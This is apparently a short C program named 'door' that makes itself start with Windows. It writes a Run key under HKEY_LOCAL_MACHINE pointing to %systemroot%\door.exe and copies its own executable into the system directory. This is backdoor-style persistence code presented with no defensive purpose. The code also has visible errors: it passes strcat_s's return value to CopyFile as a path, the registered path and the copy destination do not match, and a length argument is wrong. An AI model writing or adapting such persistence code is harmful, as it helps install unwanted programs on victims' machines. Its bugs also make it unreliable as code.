door

#include<stdio.h>
#include<Windows.h>
int main()
{
char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int ret;
ret = RegOpenKey(HKEY_LOCAL_MACHINE, regname, &hkResult);
ret = RegSetValueEx(hkResult, "door", 0, REG_EXPAND_SZ, (unsigned char *)"%systemroot%\\door.exe", 25);
//REG_EXPAND_SZ 一个以0结尾的字符串，该字符串包含对环境变量（如“%PAHT”）的未扩展引用
if (ret == 0)
{
printf("success to write run key\n");
RegCloseKey(hkResult);
}
else {
printf("failed to open regedit.%d\n", ret);
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0, modlepath, 256);
GetSystemDirectory(syspath, 256);
ret = CopyFile(modlepath, strcat_s(syspath, 256,"\\door.exe"), 1);
if (ret)
{
printf("%s has been copyed to sys dir %s\n", modlepath, syspath);
}
else {
printf("%s is exisis", modlepath);

}
return 0;
}